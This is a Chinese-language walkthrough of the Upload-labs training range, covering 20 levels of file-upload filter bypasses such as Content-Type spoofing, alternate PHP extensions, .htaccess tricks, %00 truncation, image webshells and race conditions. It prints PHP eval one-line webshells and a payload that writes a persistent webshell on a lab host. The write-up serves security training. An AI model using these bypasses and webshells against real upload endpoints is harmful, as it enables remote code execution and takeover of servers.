靶机
DVWA
Upload-labs
Xss-labs
Pikachu
DC-1
DC-2
DC-3
DC-4
DC-5
DC-6
DC-7
DC-8
DC-9
-
+
首页
Upload-labs
## 概述 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在 帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式 下载地址:链接:https://pan.baidu.com/s/1Xz4u-zBcL98GboExGBT3rA?pwd=8ylh 提取码:8ylh ## 环境安装 将下载后的文件进行解压,放在www目录下,访问即可  ## 事先准备 先准备一个123.php文件  ## Pass-01(前端校验) 当直接上传php文件时,页面进行了弹窗  第一种方法:浏览器禁止JS 1.对于chrome浏览器,设置--隐私设置和安全性--JavaScript  2.刷新页面,上传123.php文件  3.复制图片地址进行打开  第二种方法:通过抓包工具Burp,通过改后缀名的形式 1.将123.php文件修改后缀为123.jpg,即修改为允许上传的后缀名  2.将123.jpg修改为123.php即可  3.复制图片地址进行访问  ## Pass-02(Content-Type) **知识点** Content-Type用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文 件 Content-type 标头告诉客户端实际返回的内容类型 ```text 常见的媒体格式类型: text/html : HTML格式 text/plain :纯文本格式 text/xml : XML格式 image/gif :gif图片格式 image/jpeg :jpg图片格式 image/png:png图片格式 ``` 1.同样先上传123.php文件,提示为文件类型不正确  2.通过Burp抓取123.php的上传流量  3.将Content-Type类型修改为jpg文件类型  4.上传成功,访问图片地址  ## Pass-03(黑名单) **知识点-php扩展名** ```text 默认状态下.php3,.php4,.php5,.phtml 都是会被解析为php 能被解析的文件扩展名列表: jsp jspx jspf asp asa cer aspx php phtml php3 php4 php5 exe exee ``` 1.上传php文件后,提示不允许上传.php后缀文件  2.将.php后缀修改为.php5后缀  3.上传成功,访问图片地址  **提示信息** 当上传的phtml没有解析时 在phpstudy中,其他选项菜单--打开配置文件--http-conf  将#号去掉,就可以解析phtml文件为php文件,如果想解析php3后缀文件,在后面添加即可  **Pass-04(.htaccess文件)** **知识点** .htaccess文件-->分布式配置文件 提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作 用于次目录及其所有子目录 .htaccess的功能: 可帮助我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封 禁特定IP地址的用户、禁止目录列表等一些功能 1.将下列指令写入txt中 ```text AddType application/x-httpd-php .jpg 指令表示 .jpg文件会当做php来解析 ``` 利用cmd进行重命名为.htaccess  2.先上传.htaccess文件  3.将木马文件的php后缀修改为jpg后缀,进行上传,打开图片  ## Pass-05(大小写) 从给出的提示来讲,过滤了很多后缀,但是仔细观察没有过滤PHP  故修改文件后缀PHP,上传   ## Pass-06(空格) ```text 通过观察源代码,文件上传后的大致流程为: 获取上传的文件名 删除文件名末尾的. 返回最后一次小数点出现的位置到字符串结束之间的字符 转换大小写 去除字符串::$DATA ``` 故可以构造payload ```text a.php+空格 a.php+空格=>.php+空格 对于黑名单而言 a.php+空格与a.php是不一样的 但对于Windows,a.php+空格与a.php是一样的 ``` 1.上传php文件后通过burp抓包,在后缀php后面添加一个空格  2.访问图片地址  ## Pass-07(点) 利用strrchr()函数绕过,strrchr()函数:查找字符串在另一个字符串中最后一次出现的位置,并返回从该 位置到字符串结尾的所有字符。 1.上传php木马文件,抓包将php文件后缀处多加一个.  2.访问图片地址  ## Pass-08(::$DATA) 1.::$DATA Windows文件流 对于Windows而言 a.php 与a.php::$DATA 是一样的 但是对于黑名单检测来讲是不一样的 2.将PHP上传,抓包修改php文件后缀  3.访问图片地址后显示403  4.将文件后缀名::$DATA后缀删除即可  ## Pass-09(点空格点) 1.关键函数  **大致流程** ```text 获取上传文件名 删除文件名末尾的点 返回最后一次点出现的位置到字符串结束之间的字符串 转换为小写 去除字符串::$DATA 首尾去空 ``` **构造payload** ```text 构造函数名:a.php.空格. 删除文件名末尾的点:a.php.空格 返回最后一次点出现的位置:.空格 转换小写、去除::$DATA、首尾去空: . 最后文件名为a.php. 在Windows中,文件名最后的点可以被自动忽略 ``` 2.上传文件,修改文件后缀名  3.访问上传后的图片地址即可 ## Pass-10(双写) 1.主要利用点为str_ireplace() 函数 str_ireplace() 函数:替换字符串中的一些字符(不区分大小写)  如果上传文件名中出现了黑名单中的后缀名就会将后缀名替换为空 2.构造payload:.phphpp --> .php 3.抓取上传的数据包,修改上传后的文件后缀名  4.访问上传后的图片地址  ## Pass-11(%00截断) **环境准备** php版本低于必须为5.2.x php.ini配置中magic_quotes_gpc = Of **关键代码**  **函数:** strrpos():查找字符串在另一字符串中最后一次出现的位置 substr():返回字符串的一部分,substr(string,start,length) in_array():搜索数组中是否存在指定的值 ```bash ['name'],".")+1); //获取上传文件名的后缀名 ``` **代码大致流程:** ```text 截取上传文件的后缀名,如果符合ext_arr数组,将会把文件移动到指定目录并且进行重命名操作,如果文件的后缀名不再ext_arr数组中,会提示上传失败 ``` url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时 就会认为读取已结束 1.抓取数据包  2.访问图片链接  3.直接访问456.php也可以  ## Pass-12(%00截断) 与Pass11大致相同,只不过是GET传参,改为了POST URL编码==》16进制编码 GET会对URL编码(16进制)进行解码 POST并不会对16进制进行解码 可以使用burp抓包工具改16进制 1.抓取文件上传包  2.在Hex中修改a的16进制为00  3.修改后  4.访问图片地址  ## Pass-13(图片马) 图片马:一句话木马和图片 结合在一起 1.制作图片马 cmd命令:  2.以16进制方式打开890.jpg,翻到最后面  **注意:**由于图片马的使用场景问题,故只要我们上传的图片马上传成功,下载到本地后,一句话木马依 然存在,则算通关 3.上传图片马,上传成功  4.下载到本地Hex查看,图片马存在  .png-101.webp/.gif的制作方式和jpg相同 ## Pass-14(getimagesize) **关键代码**  getimagesize获取图像信息 1.使用上一关的图片马进行上传  2.关键代码  3.使用png图片马  4.上传成功  5.下载到本地查看是否还存在一句话木马  ## Pass-15(exif_imagetype) **关键代码**  exif_imagetype函数:判断一个图像的类型 1.使用上一关的图片马,上传成功  2.下载到本地查看是否还存在一句话木马  ## Pass-16(二次渲染) 代码部分  ```text 二次渲染--后端重写文件内容 basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名 strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字 符串结尾的所有字符。 imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像 imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像 imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像 ``` 1.二次渲染 通常用gif绕 木马写在 GIF图片头部 第3-4行开始写  2.上传成功  3.下载图片到本地,查看下载后的hex  ## Pass-17(条件竞争) 1.关键代码  大致流程:先上传,再检测,重命名,不符合条件则unlink删除文件 2.先上传普通图片,获取文件路径  3.既然是先上传后检测,则再文件被删除之前生成一个新的文件即可 先上传一句话木马.php ```php 1.php <?php @eval($_GET[1]);?> ``` 4.再1.php删除之前,访问到1.php,利用PHP中file_put_contents()函数,把一个字符串写入文件中 ```php http://172.16.15.182/upload-labs-0.1/upload/1.php? 1=file_put_contents('56.php','<?php @eval($_REQUEST[8]);?>'); ``` 5.上传1.php文件并且抓取到,放到跑包模式中  再抓取访问1.php的包,同样放到burp跑包模式中  6.两个数据包同时进行null payload 跑包  7.访问成功  ## Pass-18(二次竞争) **关键代码**  逻辑顺序 1、服务器先将文件与白名单作对比 2、检查大小看文件是否已经存在 3、再进行重命名 保存到重命名之间,会有一段时间差 在这段时间内,文件还是能被访问到的,并被解析执行 于Pass-16相同操作 ## Pass-19(黑名单检测) **关键函数**  move_uploaded_file() 函数把上传的文件移动到新位置。 如果成功该函数返回 TRUE,如果失败则返回 FALSE。 对上传的文件,没有任何检测,但对其保存的文件名进行检测 1.构造木马文件321.php ```php <?php phpinfo();?> ``` 修改后缀为jpg 2.使用.绕过,使用Burp抓取上传的数据包  3.访问图片地址  ## Pass-20(白名单检测) **关键代码**  **函数解析** ```text 三目运算符:(expr1) ? (expr2) : (expr3); 如果条件expr1 成立,执行expr2,否则执行expr3; explode() 函数:把字符串打散为数组 end()函数:删除数组中最后一个值 count()函数:统计数组个数 reset()函数:将内部指针指向数组中的第一个元素,并输出 ``` 可使用 数组绕过 1.抓取数据包,改包  2.上传成功  3.访问图片地址 
毛林
2025年9月7日 11:42
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码